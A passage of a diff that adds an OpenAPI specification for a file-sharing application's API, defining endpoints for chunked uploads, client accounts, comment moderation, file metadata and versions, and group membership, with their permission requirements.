"", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "uploadId": { + "type": "string" + }, + "key": { + "type": "string" + } + }, + "required": [ + "uploadId", + "key" + ] + } + } + } + }, + "403": { + "description": "An error", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "message": { + "type": "string", + "description": "Error overview.", + "examples": [ + "" + ] + } + }, + "required": [ + "message" + ] + } + } + } + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/uploads/{session}/parts/{part}/sign": { + "get": { + "operationId": "uploads.parts.sign", + "description": "Requires a token with the ability: `upload`.", + "summary": "Get a short-lived signed URL for one part", + "tags": [ + "ChunkedUploads" + ], + "parameters": [ + { + "name": "session", + "in": "path", + "required": true, + "description": "The session ID", + "schema": { + "type": "string", + "format": "uuid" + } + }, + { + "name": "part", + "in": "path", + "required": true, + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "url": { + "type": "string" + }, + "method": { + "type": "string", + "const": "PUT" + } + }, + "required": [ + "url", + "method" + ] + } + } + } + }, + "422": { + "description": "An error", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "message": { + "type": "string", + "description": "Error overview.", + "examples": [ + "" + ] + } + }, + "required": [ + "message" + ] + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/uploads/{session}/parts/{part}": { + "put": { + "operationId": "uploads.parts.put", + "description": "PUT the part's raw bytes to the signed URL returned by the sign\nendpoint. Parts may be sent in any order, and the response's `ETag`\nidentifies the stored part.\n\nRequires a token with the ability: `upload`.", + "summary": "Upload one part", + "tags": [ + "ChunkedUploads" + ], + "parameters": [ + { + "name": "session", + "in": "path", + "required": true, + "description": "The session ID", + "schema": { + "type": "string", + "format": "uuid" + } + }, + { + "name": "part", + "in": "path", + "required": true, + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "", + "headers": { + "ETag": { + "schema": { + "type": "string" + } + } + } + }, + "422": { + "description": "An error", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "message": { + "type": "string", + "description": "Error overview.", + "examples": [ + "" + ] + } + }, + "required": [ + "message" + ] + } + } + } + }, + "413": { + "description": "An error", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "message": { + "type": "string", + "description": "Error overview.", + "examples": [ + "" + ] + } + }, + "required": [ + "message" + ] + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/uploads/{session}/parts": { + "get": { + "operationId": "uploads.parts.index", + "description": "Requires a token with the ability: `upload`.", + "summary": "List the parts already received, so an interrupted upload can resume\nrather than start again", + "tags": [ + "ChunkedUploads" + ], + "parameters": [ + { + "name": "session", + "in": "path", + "required": true, + "description": "The session ID", + "schema": { + "type": "string", + "format": "uuid" + } + } + ], + "responses": { + "200": { + "description": "", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": {} + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/uploads/{session}/complete": { + "post": { + "operationId": "uploads.complete", + "description": "Requires a token with the ability: `upload`.", + "tags": [ + "ChunkedUploads" + ], + "parameters": [ + { + "name": "session", + "in": "path", + "required": true, + "description": "The session ID", + "schema": { + "type": "string", + "format": "uuid" + } + } + ], + "responses": { + "200": { + "description": "", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "location": { + "type": "string" + }, + "file_id": { + "type": "integer" + }, + "version_error": { + "type": [ + "string", + "null" + ] + } + }, + "required": [ + "location", + "file_id", + "version_error" + ] + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/uploads/{session}": { + "delete": { + "operationId": "uploads.destroy", + "description": "Requires a token with the ability: `upload`.", + "tags": [ + "ChunkedUploads" + ], + "parameters": [ + { + "name": "session", + "in": "path", + "required": true, + "description": "The session ID", + "schema": { + "type": "string", + "format": "uuid" + } + } + ], + "responses": { + "204": { + "description": "No content" + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/clients": { + "get": { + "operationId": "clients.index", + "description": "Requires a token with the ability: `manage_clients`.", + "tags": [ + "Clients" + ], + "parameters": [ + { + "name": "updated_since", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ], + "format": "date-time" + } + }, + { + "name": "per_page", + "in": "query", + "schema": { + "type": [ + "integer", + "null" + ], + "minimum": 1, + "maximum": 100 + } + }, + { + "name": "cursor", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ] + } + }, + { + "name": "search", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ], + "maxLength": 255 + } + }, + { + "name": "status", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ], + "enum": [ + "active", + "inactive", + null + ] + } + } + ], + "responses": { + "200": { + "description": "Paginated set of `ClientResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "type": "array", + "items": { + "$ref": "#/components/schemas/ClientResource" + } + }, + "links": { + "type": "object", + "properties": { + "first": { + "type": [ + "string", + "null" + ] + }, + "last": { + "type": [ + "string", + "null" + ] + }, + "prev": { + "type": [ + "string", + "null" + ] + }, + "next": { + "type": [ + "string", + "null" + ] + } + }, + "required": [ + "first", + "last", + "prev", + "next" + ] + }, + "meta": { + "type": "object", + "properties": { + "path": { + "type": [ + "string", + "null" + ], + "description": "Base path for paginator generated URLs." + }, + "per_page": { + "type": "integer", + "description": "Number of items shown per page.", + "minimum": 0 + }, + "next_cursor": { + "type": [ + "string", + "null" + ], + "description": "The \"cursor\" that points to the next set of items." + }, + "prev_cursor": { + "type": [ + "string", + "null" + ], + "description": "The \"cursor\" that points to the previous set of items." + } + }, + "required": [ + "path", + "per_page", + "next_cursor", + "prev_cursor" + ] + } + }, + "required": [ + "data", + "links", + "meta" + ] + } + } + } + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "post": { + "operationId": "clients.store", + "description": "Requires a token with the ability: `create_clients`.", + "tags": [ + "Clients" + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "name": { + "type": "string", + "maxLength": 255 + }, + "email": { + "type": "string", + "format": "email", + "maxLength": 255 + }, + "password": { + "type": "string", + "description": "No `confirmed`: repeating a password is a defence against a\nhuman mistyping into a form, and an API caller has no second\nfield to mistype. This installation's password policy still\napplies \u2014 a minimum length, and optionally a check against\nknown breaches. Both are configured under Settings \u2192\nSecurity, so read them from there rather than assuming the\ndefaults; a password this endpoint accepts on one\ninstallation may be refused on another." + }, + "storage_quota_mb": { + "type": [ + "integer", + "null" + ], + "minimum": 0 + }, + "custom_field_values": { + "type": "array", + "items": { + "type": "string" + } + } + }, + "required": [ + "name", + "email", + "password" + ] + } + } + } + }, + "responses": { + "201": { + "description": "`ClientResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/ClientResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/clients/{client}": { + "get": { + "operationId": "clients.show", + "description": "Requires a token with the ability: `edit_clients`.", + "tags": [ + "Clients" + ], + "parameters": [ + { + "name": "client", + "in": "path", + "required": true, + "description": "The client ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "`ClientResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/ClientResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "patch": { + "operationId": "clients.update", + "description": "Requires a token with the ability: `edit_clients`.", + "tags": [ + "Clients" + ], + "parameters": [ + { + "name": "client", + "in": "path", + "required": true, + "description": "The client ID", + "schema": { + "type": "integer" + } + } + ], + "requestBody": { + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "name": { + "type": "string", + "maxLength": 255 + }, + "email": { + "type": "string", + "format": "email", + "maxLength": 255 + }, + "active": { + "type": "boolean" + }, + "password": { + "type": [ + "string", + "null" + ] + }, + "storage_quota_mb": { + "type": [ + "integer", + "null" + ], + "minimum": 0 + }, + "custom_field_values": { + "type": "array", + "items": { + "type": "string" + } + } + } + } + } + } + }, + "responses": { + "200": { + "description": "`ClientResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/ClientResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "delete": { + "operationId": "clients.destroy", + "description": "If the client owns no files or folders, no body is needed.\n\nIf they do, you must say what happens to that content: send\n`content_action` as either `cascade_delete` (delete it along with the\naccount) or `reassign`, and in the latter case a `reassign_to_id`\nnaming the active account that inherits it. Omitting the choice is a\n422 \u2014 there is no default, because one would silently destroy a\nclient's files and the other would silently hand them to somebody\nelse.\n\n`GET /clients/{client}` reports the counts so you can decide before\ncalling this.\n\nRequires a token with the ability: `delete_clients`.", + "summary": "Delete a client", + "tags": [ + "Clients" + ], + "parameters": [ + { + "name": "client", + "in": "path", + "required": true, + "description": "The client ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "204": { + "description": "No content", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": {} + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/clients/{client}/two-factor": { + "delete": { + "operationId": "clients.two-factor.destroy", + "description": "The remedy for a locked-out account: a client whose authenticator\napp and recovery codes are both gone cannot sign in, and nobody else\ncan open the account for them either. Afterwards they sign in with\ntheir password alone, and \u2014 if this installation enforces two-factor\nauthentication for clients \u2014 are asked to enrol again on their next\nrequest.\n\nThe client is emailed that this happened, and the action is recorded\nin the activity log against the caller. Answers 204 whether or not a\nsecond factor was actually in force.\n\nRequires a token with the ability: `edit_clients`.", + "summary": "Remove a client's two-factor authentication", + "tags": [ + "Clients" + ], + "parameters": [ + { + "name": "client", + "in": "path", + "required": true, + "description": "The client ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "204": { + "description": "No content", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": {} + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/comments/pending": { + "get": { + "operationId": "comments.pending", + "description": "Scoped by the same library boundary as everything else: a\nclient-scoped token sees pending comments only on files its owner\ncould already open. Oldest first, so working through the list means\nworking through the backlog.\n\nRequires a token with the ability: `moderate_comments`.", + "summary": "List comments awaiting approval", + "tags": [ + "CommentModeration" + ], + "responses": { + "200": { + "description": "Array of `FileCommentResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "type": "array", + "items": { + "$ref": "#/components/schemas/FileCommentResource" + } + } + }, + "required": [ + "data" + ] + } + } + } + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/comments/{comment}/approve": { + "post": { + "operationId": "comments.approve", + "description": "Nobody can see it until this happens. Approving an already-approved\ncomment changes nothing and announces nothing, so a retried request\nis safe \u2014 which matters more here than on the web, where a human does\nnot retry automatically.\n\nRequires a token with the ability: `moderate_comments`.", + "summary": "Approve a comment left by a visitor", + "tags": [ + "CommentModeration" + ], + "parameters": [ + { + "name": "comment", + "in": "path", + "required": true, + "description": "The comment ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "`FileCommentResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/FileCommentResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "403": { + "description": "An error", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "message": { + "type": "string", + "description": "Error overview.", + "examples": [ + "" + ] + } + }, + "required": [ + "message" + ] + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/tokens/current": { + "delete": { + "operationId": "tokens.current.destroy", + "tags": [ + "CurrentToken" + ], + "responses": { + "204": { + "description": "No content", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": {} + } + } + } + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/files/{file}/assignments": { + "post": { + "operationId": "files.assignments.store", + "description": "Requires a token with any of these abilities: `edit_files`, `edit_others_files`.", + "tags": [ + "FileAssignments" + ], + "parameters": [ + { + "name": "file", + "in": "path", + "required": true, + "description": "The file ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "`FileResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "allOf": [ + { + "$ref": "#/components/schemas/FileResource" + }, + { + "type": "object", + "required": [ + "assignments" + ] + } + ] + } + }, + "required": [ + "data" + ] + } + } + } + }, + "403": { + "$ref": "#/components/responses/AuthorizationException" + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "delete": { + "operationId": "files.assignments.destroy", + "description": "Requires a token with any of these abilities: `edit_files`, `edit_others_files`.", + "tags": [ + "FileAssignments" + ], + "parameters": [ + { + "name": "file", + "in": "path", + "required": true, + "description": "The file ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "`FileResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "allOf": [ + { + "$ref": "#/components/schemas/FileResource" + }, + { + "type": "object", + "required": [ + "assignments" + ] + } + ] + } + }, + "required": [ + "data" + ] + } + } + } + }, + "403": { + "$ref": "#/components/responses/AuthorizationException" + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/files/{file}/comments": { + "get": { + "operationId": "files.comments.index", + "description": "Returns the comments the authenticated token's owner may read,\noldest first. A comment left by a visitor and not yet approved is\nincluded only for a token whose owner may moderate.\n\nRequires a token with any of these abilities: `upload`, `edit_files`, `edit_others_files`.", + "summary": "List a file's comments", + "tags": [ + "FileComments" + ], + "parameters": [ + { + "name": "file", + "in": "path", + "required": true, + "description": "The file ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "Array of `FileCommentResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "type": "array", + "items": { + "$ref": "#/components/schemas/FileCommentResource" + } + } + }, + "required": [ + "data" + ] + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "post": { + "operationId": "files.comments.store", + "description": "`visibility` is one of `only_me` (a private note), `staff_only` (the\nteam, no client), `clients` (**the team and** every client the file\nis shared with \u2014 the name says who it adds, since staff can already\nsee everything on a file they can open) or `everyone` (all of the\nabove plus anyone who opens the file without logging in).\nWhich of them are available depends on the installation's comment\nsettings and on whether the file is publicly visible; asking for one\nthat is not available returns 403.\n\n`reply_to` is the id of a comment being answered. A reply inherits\nthat comment's audience, which is the only way a comment becomes\naddressed to one client rather than all of them \u2014 there is no field\nthat names a client directly. An id this token cannot already read\nis ignored, and the comment is posted as a fresh one.\n\nRequires a token with any of these abilities: `upload`, `edit_files`, `edit_others_files`.", + "summary": "Post a comment on a file", + "tags": [ + "FileComments" + ], + "parameters": [ + { + "name": "file", + "in": "path", + "required": true, + "description": "The file ID", + "schema": { + "type": "integer" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "body": { + "type": "string", + "maxLength": 5000 + }, + "visibility": { + "$ref": "#/components/schemas/CommentVisibility" + }, + "reply_to": { + "type": [ + "integer", + "null" + ] + } + }, + "required": [ + "body", + "visibility" + ] + } + } + } + }, + "responses": { + "201": { + "description": "`FileCommentResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/FileCommentResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "403": { + "$ref": "#/components/responses/AuthorizationException" + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/comments/{comment}": { + "patch": { + "operationId": "comments.update", + "description": "Only its own author may, and only within the installation's editing\nwindow. Moderation rights do not extend to rewriting somebody\nelse's words.\n\nRequires a token with any of these abilities: `upload`, `edit_files`, `edit_others_files`.", + "summary": "Edit a comment", + "tags": [ + "FileComments" + ], + "parameters": [ + { + "name": "comment", + "in": "path", + "required": true, + "description": "The comment ID", + "schema": { + "type": "integer" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "body": { + "type": "string", + "maxLength": 5000 + } + }, + "required": [ + "body" + ] + } + } + } + }, + "responses": { + "200": { + "description": "`FileCommentResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/FileCommentResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "delete": { + "operationId": "comments.destroy", + "description": "Its author may, within the editing window; a moderator may at any\ntime. The comment is soft-deleted, so a later dispute is not left\nwith a hole where the conversation was.\n\nRequires a token with any of these abilities: `upload`, `edit_files`, `edit_others_files`.", + "summary": "Delete a comment", + "tags": [ + "FileComments" + ], + "parameters": [ + { + "name": "comment", + "in": "path", + "required": true, + "description": "The comment ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "204": { + "description": "No content", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": {} + } + } + } + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/files/{file}/download": { + "get": { + "operationId": "files.download", + "description": "Requires a token with any of these abilities: `upload`, `edit_files`, `edit_others_files`.", + "tags": [ + "FileDownload" + ], + "parameters": [ + { + "name": "file", + "in": "path", + "required": true, + "description": "The file ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "", + "content": { + "application/json": { + "schema": { + "type": "object" + } + } + } + }, + "403": { + "$ref": "#/components/responses/AuthorizationException" + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/files/{file}/version": { + "put": { + "operationId": "files.version.store", + "description": "The file named by `previous_file_id` must be one you may reach, and\nmust not already have been revised. **A revision is shared with the\nsame people as the original**: any recipients this file currently has\nare moved onto the original, and afterwards its own assignment\nendpoints refuse writes and point at the original instead.\n\nRequires a token with any of these abilities: `edit_files`, `edit_others_files`.", + "summary": "Mark this file as a new version of another", + "tags": [ + "FileVersions" + ], + "parameters": [ + { + "name": "file", + "in": "path", + "required": true, + "description": "The file ID", + "schema": { + "type": "integer" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "previous_file_id": { + "type": "integer" + } + }, + "required": [ + "previous_file_id" + ] + } + } + } + }, + "responses": { + "200": { + "description": "`FileResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/FileResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "403": { + "$ref": "#/components/responses/AuthorizationException" + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "delete": { + "operationId": "files.version.destroy", + "description": "It stops inheriting the original's recipients, so it keeps a copy of\nthem: unlinking never takes access away from someone who already has\nit.\n\nRequires a token with any of these abilities: `edit_files`, `edit_others_files`.", + "summary": "Remove this file's version link, making it stand on its own again", + "tags": [ + "FileVersions" + ], + "parameters": [ + { + "name": "file", + "in": "path", + "required": true, + "description": "The file ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "`FileResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/FileResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "403": { + "$ref": "#/components/responses/AuthorizationException" + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/files": { + "get": { + "operationId": "files.index", + "description": "Requires a token with any of these abilities: `upload`, `edit_files`, `edit_others_files`.", + "tags": [ + "Files" + ], + "parameters": [ + { + "name": "updated_since", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ], + "format": "date-time" + } + }, + { + "name": "per_page", + "in": "query", + "schema": { + "type": [ + "integer", + "null" + ], + "minimum": 1, + "maximum": 100 + } + }, + { + "name": "cursor", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ] + } + }, + { + "name": "folder_id", + "in": "query", + "schema": { + "type": [ + "integer", + "null" + ] + } + }, + { + "name": "category_id", + "in": "query", + "schema": { + "type": [ + "integer", + "null" + ] + } + }, + { + "name": "uploaded_by", + "in": "query", + "schema": { + "type": [ + "integer", + "null" + ] + } + }, + { + "name": "search", + "in": "query", + "schema": { + "type": [ + "string", + "null" + ], + "maxLength": 255 + } + }, + { + "name": "public", + "in": "query", + "schema": { + "type": [ + "boolean", + "null" + ] + } + }, + { + "name": "expired", + "in": "query", + "schema": { + "type": [ + "boolean", + "null" + ] + } + } + ], + "responses": { + "200": { + "description": "Paginated set of `FileResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "type": "array", + "items": { + "$ref": "#/components/schemas/FileResource" + } + }, + "links": { + "type": "object", + "properties": { + "first": { + "type": [ + "string", + "null" + ] + }, + "last": { + "type": [ + "string", + "null" + ] + }, + "prev": { + "type": [ + "string", + "null" + ] + }, + "next": { + "type": [ + "string", + "null" + ] + } + }, + "required": [ + "first", + "last", + "prev", + "next" + ] + }, + "meta": { + "type": "object", + "properties": { + "path": { + "type": [ + "string", + "null" + ], + "description": "Base path for paginator generated URLs." + }, + "per_page": { + "type": "integer", + "description": "Number of items shown per page.", + "minimum": 0 + }, + "next_cursor": { + "type": [ + "string", + "null" + ], + "description": "The \"cursor\" that points to the next set of items." + }, + "prev_cursor": { + "type": [ + "string", + "null" + ], + "description": "The \"cursor\" that points to the previous set of items." + } + }, + "required": [ + "path", + "per_page", + "next_cursor", + "prev_cursor" + ] + } + }, + "required": [ + "data", + "links", + "meta" + ] + } + } + } + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "post": { + "operationId": "files.store", + "description": "Send the file as multipart form data. The maximum accepted size is\nthis installation's configured upload limit; larger or unreliable\nuploads should use the resumable `/uploads` endpoints instead.\n\nThe stored content type is detected from the uploaded bytes, not from\nthe declared `Content-Type`.\n\nRequires a token with the ability: `upload`.", + "summary": "Upload a file in a single request", + "tags": [ + "Files" + ], + "requestBody": { + "required": true, + "content": { + "multipart/form-data": { + "schema": { + "type": "object", + "properties": { + "file": { + "type": "string", + "format": "binary", + "contentMediaType": "application/octet-stream" + }, + "name": { + "type": [ + "string", + "null" + ], + "maxLength": 255 + }, + "description": { + "type": [ + "string", + "null" + ], + "maxLength": 2000 + }, + "folder_id": { + "type": [ + "integer", + "null" + ] + } + }, + "required": [ + "file" + ] + } + } + } + }, + "responses": { + "201": { + "description": "`FileResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "allOf": [ + { + "$ref": "#/components/schemas/FileResource" + }, + { + "type": "object", + "required": [ + "folder", + "uploaded_by", + "categories" + ] + } + ] + } + }, + "required": [ + "data" + ] + } + } + } + }, + "403": { + "description": "An error", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "message": { + "type": "string", + "description": "Error overview.", + "examples": [ + "" + ] + } + }, + "required": [ + "message" + ] + } + } + } + }, + "500": { + "description": "An error", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "message": { + "type": "string", + "description": "Error overview.", + "examples": [ + "" + ] + } + }, + "required": [ + "message" + ] + } + } + } + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/files/{file}": { + "get": { + "operationId": "files.show", + "description": "Requires a token with any of these abilities: `upload`, `edit_files`, `edit_others_files`.", + "tags": [ + "Files" + ], + "parameters": [ + { + "name": "file", + "in": "path", + "required": true, + "description": "The file ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "200": { + "description": "`FileResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "$ref": "#/components/schemas/FileResource" + } + }, + "required": [ + "data" + ] + } + } + } + }, + "403": { + "$ref": "#/components/responses/AuthorizationException" + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "patch": { + "operationId": "files.update", + "description": "Only the fields present in the request are changed; omitting one\nleaves it as it was.\n\nSome fields need a permission of their own \u2014 `expires_at` needs\n`set_file_expiration_date`, `public` needs `upload_public`, and\n`categories` needs `set_file_categories`. Sending one of those\nwithout the matching permission leaves that field untouched rather\nthan failing the whole request, which mirrors the web interface.\n\n`commentable` only has an effect while the installation's comment\nsetting is \"only files marked as commentable\"; under any other\nsetting it is ignored, again rather than failing.\n\nRequires a token with any of these abilities: `edit_files`, `edit_others_files`.", + "summary": "Update a file's metadata", + "tags": [ + "Files" + ], + "parameters": [ + { + "name": "file", + "in": "path", + "required": true, + "description": "The file ID", + "schema": { + "type": "integer" + } + } + ], + "requestBody": { + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "name": { + "type": "string", + "maxLength": 255 + }, + "description": { + "type": [ + "string", + "null" + ], + "maxLength": 2000 + }, + "folder_id": { + "type": [ + "integer", + "null" + ] + }, + "public": { + "type": "boolean" + }, + "commentable": { + "type": "boolean" + }, + "slug": { + "type": [ + "string", + "null" + ], + "pattern": "^[a-z0-9]+(-[a-z0-9]+)*$", + "maxLength": 255 + }, + "categories": { + "type": "array", + "items": { + "type": "integer" + } + }, + "expires_at": { + "type": [ + "string", + "null" + ], + "format": "date-time" + }, + "download_limit": { + "type": [ + "integer", + "null" + ], + "minimum": 1 + }, + "download_limit_scope": { + "$ref": "#/components/schemas/DownloadLimitScope" + } + } + } + } + } + }, + "responses": { + "200": { + "description": "`FileResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "allOf": [ + { + "$ref": "#/components/schemas/FileResource" + }, + { + "type": "object", + "required": [ + "folder", + "uploaded_by", + "categories" + ] + } + ] + } + }, + "required": [ + "data" + ] + } + } + } + }, + "403": { + "$ref": "#/components/responses/AuthorizationException" + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + }, + "delete": { + "operationId": "files.destroy", + "description": "Requires a token with any of these abilities: `delete_files`, `delete_others_files`.", + "tags": [ + "Files" + ], + "parameters": [ + { + "name": "file", + "in": "path", + "required": true, + "description": "The file ID", + "schema": { + "type": "integer" + } + } + ], + "responses": { + "204": { + "description": "No content", + "content": { + "application/json": { + "schema": { + "type": "array", + "items": {} + } + } + } + }, + "403": { + "$ref": "#/components/responses/AuthorizationException" + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/groups/{group}/members": { + "post": { + "operationId": "groups.members.store", + "description": "Requires a token with the ability: `edit_groups`.", + "tags": [ + "GroupMembers" + ], + "parameters": [ + { + "name": "group", + "in": "path", + "required": true, + "description": "The group ID", + "schema": { + "type": "integer" + } + } + ], + "requestBody": { + "required": true, + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "user_id": { + "type": "integer" + } + }, + "required": [ + "user_id" + ] + } + } + } + }, + "responses": { + "200": { + "description": "`GroupResource`", + "content": { + "application/json": { + "schema": { + "type": "object", + "properties": { + "data": { + "allOf": [ + { + "$ref": "#/components/schemas/GroupResource" + }, + { + "type": "object", + "required": [ + "members" + ] + } + ] + } + }, + "required": [ + "data" + ] + } + } + } + }, + "422": { + "$ref": "#/components/responses/ValidationException" + }, + "404": { + "$ref": "#/components/responses/ModelNotFoundException" + }, + "401": { + "$ref": "#/components/responses/AuthenticationException" + } + } + } + }, + "/groups/{group}/members/{member}": { + "delete": { + "operationId": "groups.members.destroy", + "description": "Requires a token with the ability: `edit_groups`.", + "tags": [ + "GroupMembers" + ], + "parameters": [ + { + "name": 